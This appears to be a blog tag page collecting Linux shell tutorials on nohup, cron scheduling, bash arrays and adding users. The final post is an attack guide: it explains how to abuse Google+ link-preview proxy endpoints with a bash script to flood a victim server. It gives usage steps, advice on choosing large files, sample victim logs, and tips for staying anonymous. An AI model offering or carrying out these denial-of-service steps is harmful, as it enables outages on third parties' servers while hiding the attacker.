Articles taggués ‘shell’

nohup: How to launch standalone and independant job

17/03/2019 Comments off

Source: Wikipedia

nohup is a POSIX command to ignore the HUP (hangup) signal. The HUP signal is, by convention, the way a terminal warns dependent processes of logout.

Output that would normally go to the terminal goes to a file called nohup.out if it has not already been redirected.


The first of the commands below starts the program abcd in the background in such a way that the subsequent logout does not stop it.

$ nohup abcd &
$ exit

Note that these methods prevent the process from being sent a ‘stop’ signal on logout, but if input/output is being received for these standard I/O files (stdin, stdout, or stderr), they will still hang the terminal.[1] See Overcoming hanging, below.

nohup is often used in combination with the nice command to run processes on a lower priority.

$ nohup nice abcd &

Existing jobs, processes

Some shells (e.g. bash) provide a shell builtin that may be used to prevent SIGHUP being sent or propagated to existing jobs, even if they were not started with nohup. In bash, this can be obtained by using disown -h job; using the same builtin without arguments removes the job from the job table, which also implies that the job will not receive the signal. Before using disown on an active job, it should be stopped by Ctrl-Z, and continued in the background by the bg command.[2] Another relevant bash option is shopt huponexit, which automatically sends the HUP signal to jobs when the shell is exiting normally.[3]

The AIX and Solaris versions of nohup have a -p option that modifies a running process to ignore future SIGHUP signals. Unlike the above-described disown builtin of bash, nohup -p accepts process IDs.[4]

Overcoming hanging

Note that nohupping backgrounded jobs is typically used to avoid terminating them when logging off from a remote SSH session. A different issue that often arises in this situation is that ssh is refusing to log off (« hangs »), since it refuses to lose any data from/to the background job(s).[5][6] This problem can also be overcome by redirecting all three I/O streams:

$ nohup ./myprogram > foo.out 2> foo.err < /dev/null &

Also note that a closing SSH session does not always send a HUP signal to depending processes. Among others, this depends on whether a pseudo-terminal was allocated or not.[7]


  • The screen or tmux command can also detach a process from the current shell. It allows one to reattach to the process later on.
e.g. the following call will run detached from SIGHUP and in the background:
 $ screen -A -m -d -S somename ./ &
  • The disown command is used to remove jobs from the job table, or to mark jobs so that a SIGHUP signal is not sent.


« Bug 396 – sshd orphans processes when no pty allocated ». Retrieved 2009-06-10.


Categories: Système Tags:

How to Run Cron Every 5 Minutes, Seconds, Hours, Days, Months

16/03/2019 Comments off


Question: How do I execute certain shell script at a specific intervals in Linux using cron job? Provide examples using different time periods.

Answer: Crontab can be used to schedule a job that runs on certain internal. The example here show how to execute a shell script using different intervals.

Also, don’t forget to read our previous crontab article that contains 15 practical examples, and also explains about @monthly, @daily, .. tags that you can use in your crontab.

1. Execute a cron job every 5 Minutes

The first field is for Minutes. If you specify * in this field, it runs every minutes. If you specify */5 in the 1st field, it runs every 5 minutes as shown below.

*/5 * * * * /home/ramesh/

Note: In the same way, use */10 for every 10 minutes, */15 for every 15 minutes, */30 for every 30 minutes, etc.

2. Execute a cron job every 5 Hours

The second field is for hours. If you specify * in this field, it runs every hour. If you specify */5 in the 2nd field, it runs every 5 hours as shown below.

0 */5 * * * /home/ramesh/

Note: In the same way, use */2 for every 2 hours, */3 for every 3 hours, */4 for every 4 hours, etc.

3. Execute a job every 5 Seconds

Cron job cannot be used to schedule a job in seconds interval. i.e You cannot schedule a cron job to run every 5 seconds. The alternative is to write a shell script that uses ‘sleep 5′ command in it.

Lire la suite…

Categories: Système Tags: , , ,

Using Bash Arrays with Examples

13/03/2019 Comments off

bash-scripting-32-638Arrays can be a useful tool when coding your bash scripts.  The simplest way that I can define an array is to state that an array is a variable for a multi-instance dataset.

For example, a variable is used when there is a single value from a dataset like the IP Address of a server.  However, an array can be used to store all of the IP Addresses in your server room.

Speaking of IP Addresses and bash arrays, my last article (Detect and Block WordPress Brute Force Login Attacks) includes a script which is an example of how an array can be used in bash scripting.

Because arrays can be so useful in bash scripting, I thought that I would put together the following article detailing ways of Using Bash Arrays with Examples.

Initializing Bash Arrays or Assigning Values to Arrays

For arrays to be useful, we need to be able to assign values to them.  We assign values to an array by listing the array along with its instance number as shown below.  This method will assign each instance of the array one by one.


# Display all instances of the array
echo ${myarray[*]}

We can see above that in addition to being able to assign the values one by one, we can reference all array instances with an asterisk (*).  Another way to display all instances of the array is to use the following “echo ${myarray[@]}”

We run the script and get:

$ ./
Hello World, Happy Friday

We can also retrieve individual instances of an array by specifying the individual array instance number.  We modify the above script slightly to retrieve a couple of the instances.


# Display all instances of the array
echo ${myarray[0]} ${myarray[4]}

We run the script again and we get:

$ ./
Hello Friday

Lire la suite…

Linux Users and Sudo

11/03/2019 Comments off


users sudoBefore we proceed, it would be best to cover some basic user administration topics that will be very useful in later chapters. Adding Users

One of the most important activities in administering a Linux box is the addition of users. Here you’ll find some simple examples to provide a foundation for future chapters. It is not intended to be comprehensive, but is a good memory refresher. You can use the command man useradd to get the help pages on adding users with the useradd command or the man usermod to become more familiar with modifying users with the usermod command.

Who Is the Super User?

The super user with unrestricted access to all system resources and files in Linux is the user named root. This user has a user ID, of 0 which is universally identified by Linux applications as belonging to a user with supreme privileges. You will need to log in as user root to add new users to your Linux server.

Debian Note: When installing Ubuntu Linux systems, you are prompted to create a primary user that is not root. A root user is created but no password is set, so you initially cannot log in as this user. The primary user can become the root user using the sudo su - command that will be discussed later.

How To Add Users

Adding users takes some planning; read through these steps below before starting:

1) Arrange your list of users into groups by function. In this example there are three groups « parents« , « children » and « soho« .

Parents    Children     Soho
Paul       Alice        Accounts
Jane       Derek        Sales

2) Add the Linux groups to your server:

[root@bigboy tmp]# groupadd parents
[root@bigboy tmp]# groupadd children
[root@bigboy tmp]# groupadd soho

3) Add the Linux users and assign them to their respective groups

[root@bigboy tmp]# useradd -g parents paul
[root@bigboy tmp]# useradd -g parents jane
[root@bigboy tmp]# useradd -g children derek
[root@bigboy tmp]# useradd -g children alice
[root@bigboy tmp]# useradd -g soho accounts
[root@bigboy tmp]# useradd -g soho sales

If you don’t specify the group with the -g, RedHat/Fedora Linux creates a group with the same name as the user you just created; this is also known as the User Private Group Scheme. When each new user first logs in, they are prompted for their new permanent password.

4) Each user’s personal directory is placed in the /home directory. The directory name will be the same as their user name.

[root@bigboy tmp]# ll /home
drwxr-xr-x 2 root root 12288 Jul 24 20:04 lost found
drwx------ 2 accounts soho 1024 Jul 24 20:33 accounts
drwx------ 2 alice children 1024 Jul 24 20:33 alice
drwx------ 2 derek children 1024 Jul 24 20:33 derek
drwx------ 2 jane parents 1024 Jul 24 20:33 jane
drwx------ 2 paul parents 1024 Jul 24 20:33 paul
drwx------ 2 sales soho 1024 Jul 24 20:33 sales
[root@bigboy tmp]#

Lire la suite…

Launch DDoS Attack Using Google Servers with +DDoS Bash Script

09/03/2019 Comments off

DDoS-Using-Google+-Servers-HackersGarageRecently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy.

How DDoS Attack Using Google+ Servers works?

When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.

Advisory report says;  vulnerable pages are “/_/sharebox/linkpreview/“  and “gadgets/proxy?

So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.

How to use DDoS script to launch a DDoS attack Using Google+ Servers?

Download :

Make it shorter :

Make it executable :
chmod u+x

Example of Usage :
./ 1000

Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.


NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation ?

e.g 1000 is very big number.

You will see anonymous source instead of Real Source IP:
See sample apache webserver log below - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:18 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:21 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:33 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+"

You can also access it in browser to remain anonymous using below example URL (replace URL with your own choice) :